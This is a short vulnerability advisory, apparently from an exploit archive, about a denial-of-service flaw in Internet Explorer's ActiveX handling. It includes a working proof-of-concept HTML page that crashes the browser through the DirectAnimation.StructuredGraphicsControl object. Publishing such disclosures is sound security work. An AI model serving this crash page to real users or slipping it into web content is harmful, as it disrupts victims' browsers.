source: https://www.securityfocus.com/bid/18855/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability because it fails to handle ActiveX controls properly. This issue is triggered when an attacker convinces a victim user to activate a malicious ActiveX control. Remote attackers may exploit this issue to crash Internet Explorer, effectively denying service to legitimate users. <html><body><script> // MoBB Demonstration function Demo() { var a = new ActiveXObject('DirectAnimation.StructuredGraphicsControl'); a.sourceURL = 'CrashingBecauseStreamPtrNotInitialized'; } </script> Clicking the button below may crash your browser!<br><br> <input type='button' onClick='Demo()' value='Start Demo!'> </body></html>